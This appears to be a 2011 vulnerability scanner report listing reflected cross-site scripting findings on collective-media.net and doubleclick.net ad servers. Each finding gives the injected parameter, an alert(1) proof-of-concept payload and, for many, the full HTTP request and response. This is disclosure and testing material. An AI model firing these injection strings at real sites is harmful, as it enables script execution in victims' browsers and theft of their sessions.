Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a3b2a<script>alert(1)</script>2a020577f18 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 91f06<script>alert(1)</script>bbd480d1b59 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2dc11'-alert(1)-'c06cd63375f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 448 Date: Mon, 14 Feb 2011 01:35:24 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Wed, 16-Mar-2011 01:35:24 GMT
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6de2b'-alert(1)-'8f8feffd6d6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 448 Date: Mon, 14 Feb 2011 01:35:25 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Wed, 16-Mar-2011 01:35:25 GMT
1.5. http://a.collective-media.net/adj/cm.dailymail/ron_052010 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/cm.dailymail/ron_052010
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e360'-alert(1)-'b71794fc123 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 452 Date: Mon, 14 Feb 2011 01:35:24 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Wed, 16-Mar-2011 01:35:24 GMT
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d7086'-alert(1)-'ae7eaada4f3 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 449 Date: Mon, 14 Feb 2011 01:35:23 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Wed, 16-Mar-2011 01:35:23 GMT
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 22425'-alert(1)-'80a6204c2ff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 444 Date: Mon, 14 Feb 2011 02:10:20 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Wed, 16-Mar-2011 02:10:20 GMT
1.8. http://a.collective-media.net/adj/cm.drudgerep/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/cm.drudgerep/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d4b37'-alert(1)-'600aca90b1e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 447 Date: Mon, 14 Feb 2011 02:10:20 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Wed, 16-Mar-2011 02:10:20 GMT
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1b527'-alert(1)-'c296858d3f2 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 444 Date: Mon, 14 Feb 2011 02:10:20 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Wed, 16-Mar-2011 02:10:20 GMT
The value of the pa request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7e6c4'><script>alert(1)</script>cd7c8900c9b was submitted in the pa parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.11. http://ad.doubleclick.net/adi/N3740.270604.B3/B5123509.61 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adi/N3740.270604.B3/B5123509.61
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc59a"-alert(1)-"ed8a505e8a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N3740.270604.B3/B5123509.61;sz=728x90;pc=[TPAS_ID];ord=1297647300104;click=http://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSxjeVk4UkM5UTJ5TVAscCw3NzYsMjk0NiwzMjk4MSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5&dc59a"-alert(1)-"ed8a505e8a7=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=6473367370.8131766689475626&rb=445&ca=&rc=10.2&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre647336735316&pb=&pc=&pd=&pg=&ct=1297647336737&pe=http%3A%2F%2Fwww.washingtonpost.com%2Fwp-dyn%2Fcontent%2Farticle%2F2011%2F02%2F13%2FAR2011021301463.html&pf=http%3A%2F%2Fwww.washingtonpost.com%2Fwp-dyn%2Fcontent%2Farticle%2F2011%2F02%2F13%2FAR2011021301463.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:36:01 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6107
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,082 Template Name = 2. Banner Creative (Flash) - In Pa ...[SNIP]... okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSxjeVk4UkM5UTJ5TVAscCw3NzYsMjk0NiwzMjk4MSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5&dc59a"-alert(1)-"ed8a505e8a7=1http%3a%2f%2ft.mookie1.com/t/v1/clk%3FmigAgencyId%3D188%26migSource%3Dadsrv2%26migTrackDataExt%3D2426847%3B58824910%3B234278619%3B39992677%26migRandom%3D2161819%26migTrackFmtExt%3Dclient%3Bio%3Bad%3B ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcff3"-alert(1)-"0f153e75e05 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N3740.270604.B3/B5123509.61;sz=728x90;pc=[TPAS_ID];ord=1297647300104;click=http://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSxjeVk4UkM5UTJ5TVAscCw3NzYsMjk0NiwzMjk4MSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5bcff3"-alert(1)-"0f153e75e05 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=6473367370.8131766689475626&rb=445&ca=&rc=10.2&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre647336735316&pb=&pc=&pd=&pg=&ct=1297647336737&pe=http%3A%2F%2Fwww.washingtonpost.com%2Fwp-dyn%2Fcontent%2Farticle%2F2011%2F02%2F13%2FAR2011021301463.html&pf=http%3A%2F%2Fwww.washingtonpost.com%2Fwp-dyn%2Fcontent%2Farticle%2F2011%2F02%2F13%2FAR2011021301463.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:35:45 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6007
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,082 Template Name = 2. Banner Creative (Flash) - In Pa ...[SNIP]... Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSxjeVk4UkM5UTJ5TVAscCw3NzYsMjk0NiwzMjk4MSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5bcff3"-alert(1)-"0f153e75e05http://t.mookie1.com/t/v1/clk?migAgencyId=188&migSource=adsrv2&migTrackDataExt=2426847;58824910;234278619;39992677&migRandom=2145756&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.univers ...[SNIP]...
1.13. http://ad.doubleclick.net/adi/N4270.Media6Degrees.com/B5094437.9 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adi/N4270.Media6Degrees.com/B5094437.9
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57a15"-alert(1)-"a5169947ca5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N4270.Media6Degrees.com/B5094437.9;sz=300x250;ord=1297649785346;click0=http://ad.media6degrees.com/adserv/clk?tId=4401087500065260|cId=5193|cb=1297649784|notifyPort=8080|exId=23|tId=4401087500065260|ec=1|secId=859|price=AAABLiH0WMa4m9TZK-nhGAJNtNF-bSex1RpF1w|pubId=300|advId=891|notifyServer=asd116.sd.pl.pvt|spId=26917|adType=iframe|invId=3159|bid=1.53|ctrack=http%3A%2F%2Fbid.openx.net%2Fclick%3Fcd%3DH4sIAAAAAAAAABXLzQ3CMAwG0I9fReoaXC01rlM3Q3DgxtVN7BkYo1sxDhITUN79DTgAuInzOvMk1EYeSbxnqqsUWqo3iwhW14Tj_bm9Bpz-YzIu2jLTomb7qEwWcyYX7UWYe419nAHlhAvwfSRcgfcHP_GHBIVzAAAA%26dst%3Dhttp%253A%252F%252Fwww.adobe.com%252Fproducts%252Fcreativesuite%252Fdesign%252F%253Fsdid%253DIEFXK&57a15"-alert(1)-"a5169947ca5=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.media6degrees.com/adserv/cs?tId=4401087500065260|cb=1297649784|adType=iframe|cId=5193|ec=1|spId=26917|advId=891|exId=23|price=AAABLiH0WMa4m9TZK-nhGAJNtNF-bSex1RpF1w|pubId=300|secId=859|invId=3159|notifyServer=asd116.sd.pl.pvt|notifyPort=8080|bid=1.53|srcUrlEnc=http%3A%2F%2Fwww.drudgereport.com%2F|ctrack=http%3A%2F%2Fbid.openx.net%2Fclick%3Fcd%3DH4sIAAAAAAAAABXLzQ3CMAwG0I9fReoaXC01rlM3Q3DgxtVN7BkYo1sxDhITUN79DTgAuInzOvMk1EYeSbxnqqsUWqo3iwhW14Tj_bm9Bpz-YzIu2jLTomb7qEwWcyYX7UWYe419nAHlhAvwfSRcgfcHP_GHBIVzAAAA%26dst%3Dhttp%253A%252F%252Fwww.adobe.com%252Fproducts%252Fcreativesuite%252Fdesign%252F%253Fsdid%253DIEFXK Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 02:17:01 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7933
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... zOvMk1EYeSbxnqqsUWqo3iwhW14Tj_bm9Bpz-YzIu2jLTomb7qEwWcyYX7UWYe419nAHlhAvwfSRcgfcHP_GHBIVzAAAA%26dst%3Dhttp%253A%252F%252Fwww.adobe.com%252Fproducts%252Fcreativesuite%252Fdesign%252F%253Fsdid%253DIEFXK&57a15"-alert(1)-"a5169947ca5=1http://www.adobe.com/products/creativesuite/design?sdid=IEFXK"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = "opaque"; var bg = ""; var dcallowscriptaccess = "never";
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload edc03"-alert(1)-"53df0e3547d was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N4270.Media6Degrees.com/B5094437.9;sz=300x250;ord=1297649785346;click0=http://ad.media6degrees.com/adserv/clk?tId=4401087500065260|cId=5193|cb=1297649784|notifyPort=8080|exId=23|tId=4401087500065260|ec=1|secId=859|price=AAABLiH0WMa4m9TZK-nhGAJNtNF-bSex1RpF1w|pubId=300|advId=891|notifyServer=asd116.sd.pl.pvt|spId=26917|adType=iframe|invId=3159|bid=1.53|ctrack=http%3A%2F%2Fbid.openx.net%2Fclick%3Fcd%3DH4sIAAAAAAAAABXLzQ3CMAwG0I9fReoaXC01rlM3Q3DgxtVN7BkYo1sxDhITUN79DTgAuInzOvMk1EYeSbxnqqsUWqo3iwhW14Tj_bm9Bpz-YzIu2jLTomb7qEwWcyYX7UWYe419nAHlhAvwfSRcgfcHP_GHBIVzAAAA%26dst%3Dhttp%253A%252F%252Fwww.adobe.com%252Fproducts%252Fcreativesuite%252Fdesign%252F%253Fsdid%253DIEFXKedc03"-alert(1)-"53df0e3547d HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.media6degrees.com/adserv/cs?tId=4401087500065260|cb=1297649784|adType=iframe|cId=5193|ec=1|spId=26917|advId=891|exId=23|price=AAABLiH0WMa4m9TZK-nhGAJNtNF-bSex1RpF1w|pubId=300|secId=859|invId=3159|notifyServer=asd116.sd.pl.pvt|notifyPort=8080|bid=1.53|srcUrlEnc=http%3A%2F%2Fwww.drudgereport.com%2F|ctrack=http%3A%2F%2Fbid.openx.net%2Fclick%3Fcd%3DH4sIAAAAAAAAABXLzQ3CMAwG0I9fReoaXC01rlM3Q3DgxtVN7BkYo1sxDhITUN79DTgAuInzOvMk1EYeSbxnqqsUWqo3iwhW14Tj_bm9Bpz-YzIu2jLTomb7qEwWcyYX7UWYe419nAHlhAvwfSRcgfcHP_GHBIVzAAAA%26dst%3Dhttp%253A%252F%252Fwww.adobe.com%252Fproducts%252Fcreativesuite%252Fdesign%252F%253Fsdid%253DIEFXK Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 02:16:47 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7943
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... nzOvMk1EYeSbxnqqsUWqo3iwhW14Tj_bm9Bpz-YzIu2jLTomb7qEwWcyYX7UWYe419nAHlhAvwfSRcgfcHP_GHBIVzAAAA%26dst%3Dhttp%253A%252F%252Fwww.adobe.com%252Fproducts%252Fcreativesuite%252Fdesign%252F%253Fsdid%253DIEFXKedc03"-alert(1)-"53df0e3547dhttp://www.adobe.com/products/photoshop/photoshop/?sdid=IEFXK"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = "opaque"; var bg = ""; var dcallowscriptaccess = "never";
var ope ...[SNIP]...
1.15. http://ad.doubleclick.net/adi/N4319.msn/B2087123.382 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adi/N4319.msn/B2087123.382
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a6b10"-alert(1)-"313bfda1deb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N4319.msn/B2087123.382;sz=300x250;;sz=300x250;ord=145238134?click=http://clk.atdmt.com/goiframe/196247526.198101849/270694586/direct/01%3fhref=&a6b10"-alert(1)-"313bfda1deb=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://redcated/APM/iview/270694586/direct;wi.300;hi.250/01?click= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 02:13:56 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4961
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... net/click%3Bh%3Dv8/3aae/f/6c/%2a/f%3B235359689%3B0-0%3B0%3B58334028%3B4307-300/250%3B39877283/39895070/1%3B%3B%7Esscs%3D%3fhttp://clk.atdmt.com/goiframe/196247526.198101849/270694586/direct/01%3fhref=&a6b10"-alert(1)-"313bfda1deb=1http%3a%2f%2fwww.nutrisystem.com/jsps_hmr/tracking/click.jsp%3Fiid%3D29572%26rURL%3D/webnoweeksoffernetworks"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "never";
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 588b5"-alert(1)-"bbb21bc460e was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N4319.msn/B2087123.382;sz=300x250;;sz=300x250;ord=145238134?click=http://clk.atdmt.com/goiframe/196247526.198101849/270694586/direct/01%3fhref=588b5"-alert(1)-"bbb21bc460e HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://redcated/APM/iview/270694586/direct;wi.300;hi.250/01?click= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 02:13:43 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4924
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... .net/click%3Bh%3Dv8/3aae/7/69/%2a/f%3B235359689%3B0-0%3B0%3B58334028%3B4307-300/250%3B39877283/39895070/1%3B%3B%7Esscs%3D%3fhttp://clk.redcated/goiframe/196247526.198101849/270694586/direct/01%3fhref=588b5"-alert(1)-"bbb21bc460ehttp://www.nutrisystem.com/jsps_hmr/tracking/click.jsp?iid=29572&rURL=/webnoweeksoffernetworks"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "never";
The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c47f2"-alert(1)-"54049c07273 was submitted in the adurl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/N5552.3159.GOOGLECN.COM/B5035359.26;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=B33XYFyxZTbT8PJ_6lAen3LGaC_HctfkBycz95Byx0dnYSwAQARgBIL7O5Q04AFCs18v4BmDJhqOH1KOAEKAB55Lc3gO6AQk3Mjh4OTBfYXPIAQnaAUhmaWxlOi8vL0M6L2Nkbi9leGFtcGxlcy9leHBsb2l0cy9lbnRlcnByaXNlLWV4cGxvaXQtY292ZXJhZ2UtaG95dGxsYy5odG2YAugCuAIYwAIGyALxj7oWqAMB6AO6AugD4gX1AwAAAMQ&num=1&sig=AGiWqtxkJIBXuihO1k2jgZRuF_3PjfgZ4g&client=ca-pub-4063878933780912&adurl=c47f2"-alert(1)-"54049c07273 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1297711267&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2Fexploits%2Fenterprise-exploit-coverage-hoytllc.htm&dt=1297689667883&shv=r20101117&jsv=r20110208&saldr=1&correlator=1297689667905&frm=0&adk=200505236&ga_vid=1027971351.1297689668&ga_sid=1297689668&ga_hid=1219644194&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=times%20new%20roman&dfs=16&biw=1112&bih=1010&eid=33895299&fu=0&ifi=1&dtd=50&xpc=g179VgxXiq&p=file%3A// Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7835 Cache-Control: no-cache Pragma: no-cache Date: Mon, 14 Feb 2011 13:21:34 GMT Expires: Mon, 14 Feb 2011 13:21:34 GMT
